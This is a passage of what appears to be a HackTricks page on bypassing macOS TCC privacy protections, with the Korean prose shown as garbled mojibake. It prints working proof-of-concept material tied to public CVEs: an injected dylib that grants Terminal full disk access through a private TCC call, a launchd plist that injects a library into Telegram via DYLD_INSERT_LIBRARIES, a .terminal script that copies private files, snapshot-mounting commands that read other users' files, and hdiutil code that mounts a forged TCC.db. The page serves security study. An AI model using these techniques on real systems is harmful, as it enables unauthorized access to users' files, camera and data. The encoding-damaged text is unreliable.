๋ฐ์ด๋๋ฆฌ **/usr/sbin/coreaudiod**๋ com.apple.security.cs.disable-library-validation ๋ฐ com.apple.private.tcc.manager ๊ถํ์ ๊ฐ์ง๊ณ ์์์ต๋๋ค. ์ฒซ ๋ฒ์งธ๋ ์ฝ๋ ์ฃผ์
์ ํ์ฉํ๊ณ ๋ ๋ฒ์งธ๋ TCC๋ฅผ ๊ด๋ฆฌํ ์ ์๋ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌํฉ๋๋ค.
์ด ๋ฐ์ด๋๋ฆฌ๋ /Library/Audio/Plug-Ins/HAL ํด๋์์ ํ์ฌ ํ๋ฌ๊ทธ์ธ์ ๋ก๋ํ ์ ์์์ต๋๋ค. ๋ฐ๋ผ์ ์ด PoC๋ก ํ๋ฌ๊ทธ์ธ์ ๋ก๋ํ๊ณ TCC ๊ถํ์ ์
์ฉํ ์ ์์์ต๋๋ค:
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
๋ ๋ง์ ์ ๋ณด๋ ์๋ณธ ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์.
์ฅ์น ์ถ์ํ ๊ณ์ธต (DAL) ํ๋ฌ๊ทธ์ธ
Core Media I/O๋ฅผ ํตํด ์นด๋ฉ๋ผ ์คํธ๋ฆผ์ ์ฌ๋ ์์คํ
์ ํ๋ฆฌ์ผ์ด์
(**kTCCServiceCamera**๊ฐ ์๋ ์ฑ)์ /Library/CoreMediaIO/Plug-Ins/DAL์ ์์นํ ์ด ํ๋ฌ๊ทธ์ธ๋ค์ ํ๋ก์ธ์ค์์ ๋ก๋ํฉ๋๋ค (SIP ์ ํ ์์).
์ฌ๊ธฐ์ ์ผ๋ฐ ์์ฑ์๊ฐ ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ์ฅํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค.
์ฌ๋ฌ Apple ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ด์ ์ทจ์ฝํ์ต๋๋ค.
Firefox
Firefox ์ ํ๋ฆฌ์ผ์ด์
์ com.apple.security.cs.disable-library-validation ๋ฐ com.apple.security.cs.allow-dyld-environment-variables ๊ถํ์ ๊ฐ์ง๊ณ ์์์ต๋๋ค:
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
๋ ๋ง์ ์ ๋ณด๋ ์๋ณธ ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์์์ ํ์ธํ ์ ์์ต๋๋ค.
CVE-2020-10006
๋ฐ์ด๋๋ฆฌ /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl๋ com.apple.private.tcc.allow ๋ฐ com.apple.security.get-task-allow ๊ถํ์ ๊ฐ์ง๊ณ ์์ด, ํ๋ก์ธ์ค ๋ด์ ์ฝ๋๋ฅผ ์ฃผ์
ํ๊ณ TCC ๊ถํ์ ์ฌ์ฉํ ์ ์์์ต๋๋ค.
CVE-2023-26818 - Telegram
Telegram์ com.apple.security.cs.allow-dyld-environment-variables ๋ฐ com.apple.security.cs.disable-library-validation ๊ถํ์ ๊ฐ์ง๊ณ ์์ด, ์ด๋ฅผ ์
์ฉํ์ฌ ์นด๋ฉ๋ผ๋ก ๋
นํํ๋ ๋ฑ์ ๊ถํ์ ์ ๊ทผํ ์ ์์์ต๋๋ค. ํ์ด๋ก๋๋ ์์ฑ๋ฌผ์์ ํ์ธํ ์ ์์ต๋๋ค .
ํ๊ฒฝ ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๋ ๋ฐฉ๋ฒ์ ์ฃผ๋ชฉํ์ธ์. ์ปค์คํ
plist๊ฐ ์์ฑ๋์ด ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฃผ์
ํ๊ณ **launchctl**์ ์ฌ์ฉํ์ฌ ์คํ๋์์ต๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist
By open invocations
**open**์ ์๋๋ฐ์ค ์ํ์์๋ ํธ์ถํ ์ ์์ต๋๋ค.
Terminal Scripts
๊ธฐ์ ์๋ค์ด ์ฌ์ฉํ๋ ์ปดํจํฐ์์๋ ํฐ๋ฏธ๋ **Full Disk Access (FDA)**๋ฅผ ๋ถ์ฌํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์
๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๋ฅผ ์ฌ์ฉํ์ฌ .terminal ์คํฌ๋ฆฝํธ๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค.
.terminal ์คํฌ๋ฆฝํธ๋ CommandString ํค์ ์คํํ ๋ช
๋ น์ด ํฌํจ๋ plist ํ์ผ์
๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
์ ํ๋ฆฌ์ผ์ด์ ์ /tmp์ ๊ฐ์ ์์น์ ํฐ๋ฏธ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ๊ณ ๋ค์๊ณผ ๊ฐ์ ๋ช ๋ น์ผ๋ก ์คํํ ์ ์์ต๋๋ค:
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
By mounting
CVE-2020-9771 - mount_apfs TCC ์ฐํ ๋ฐ ๊ถํ ์์น
๋ชจ๋ ์ฌ์ฉ์ (ํน๊ถ์ด ์๋ ์ฌ์ฉ์ ํฌํจ)๋ ํ์ ๋จธ์ ์ค๋
์ท์ ์์ฑํ๊ณ ๋ง์ดํธํ์ฌ ํด๋น ์ค๋
์ท์ ๋ชจ๋ ํ์ผ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
ํ์ํ ์ ์ผํ ํน๊ถ์ ์ฌ์ฉ๋๋ ์ ํ๋ฆฌ์ผ์ด์
(์: Terminal)์ด ์ ์ฒด ๋์คํฌ ์ ๊ทผ (FDA) ๊ถํ(kTCCServiceSystemPolicyAllfiles)์ ๊ฐ์ ธ์ผ ํ๋ฉฐ, ์ด๋ ๊ด๋ฆฌ์๊ฐ ๋ถ์ฌํด์ผ ํฉ๋๋ค.
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
๋ ์์ธํ ์ค๋ช ์ ์๋ณธ ๋ณด๊ณ ์์์ ํ์ธํ ์ ์์ต๋๋ค.
CVE-2021-1784 & CVE-2021-30808 - TCC ํ์ผ ์์ ๋ง์ดํธ
TCC DB ํ์ผ์ด ๋ณดํธ๋์ด ์๋๋ผ๋, ์๋ก์ด TCC.db ํ์ผ์ ๋๋ ํ ๋ฆฌ ์์ ๋ง์ดํธํ๋ ๊ฒ์ด ๊ฐ๋ฅํ์ต๋๋ค:
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Check the full exploit in the original writeup.
CVE-2024-40855
์๋ณธ ์์ฑ๋ฌผ์์ ์ค๋ช
๋ ๋ฐ์ ๊ฐ์ด, ์ด CVE๋ diskarbitrationd๋ฅผ ์
์ฉํ์ต๋๋ค.
๊ณต์ฉ DiskArbitration ํ๋ ์์ํฌ์ ํจ์ DADiskMountWithArgumentsCommon์ด ๋ณด์ ๊ฒ์ฌ๋ฅผ ์ํํ์ต๋๋ค. ๊ทธ๋ฌ๋ diskarbitrationd๋ฅผ ์ง์ ํธ์ถํ์ฌ ๊ฒฝ๋ก์ ../ ์์์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ด๋ก ์ธํด ๊ณต๊ฒฉ์๋ TCC ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํ diskarbitrationd์ ๊ถํ com.apple.private.security.storage-exempt.heritable ๋๋ถ์ ์์์ ๋ง์ดํธ๋ฅผ ํ ์ ์์์ต๋๋ค.
asr
๋๊ตฌ **/usr/sbin/asr**๋ ์ ์ฒด ๋์คํฌ๋ฅผ ๋ณต์ฌํ๊ณ TCC ๋ณดํธ๋ฅผ ์ฐํํ์ฌ ๋ค๋ฅธ ์์น์ ๋ง์ดํธํ ์ ์๊ฒ ํด์ฃผ์์ต๋๋ค.
Location Services
**/var/db/locationd/clients.plist**์ ์ธ ๋ฒ์งธ TCC ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์์ด ์์น ์๋น์ค์ ์ ๊ทผํ ์ ์๋ ํด๋ผ์ด์ธํธ๋ฅผ ๋ํ๋
๋๋ค.
ํด๋ /var/db/locationd/๋ DMG ๋ง์ดํธ์์ ๋ณดํธ๋์ง ์์๊ธฐ ๋๋ฌธ์ ์ฐ๋ฆฌ์ plist๋ฅผ ๋ง์ดํธํ ์ ์์์ต๋๋ค.
By startup apps
By grep
์ฌ๋ฌ ๊ฒฝ์ฐ์ ํ์ผ์ด ์ด๋ฉ์ผ, ์ ํ๋ฒํธ, ๋ฉ์์ง ๋ฑ๊ณผ ๊ฐ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ๋น๋ณดํธ ์์น์ ์ ์ฅํฉ๋๋ค(์ด๋ Apple์ ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค).
.png)
Synthetic Clicks
์ด ๋ฐฉ๋ฒ์ ๋ ์ด์ ์๋ํ์ง ์์ง๋ง, ๊ณผ๊ฑฐ์๋ ์๋ํ์ต๋๋ค:
.png)
CoreGraphics ์ด๋ฒคํธ๋ฅผ ์ฌ์ฉํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ:
.png)
Reference
- https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
- 20+ Ways to Bypass Your macOS Privacy Mechanisms
- Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


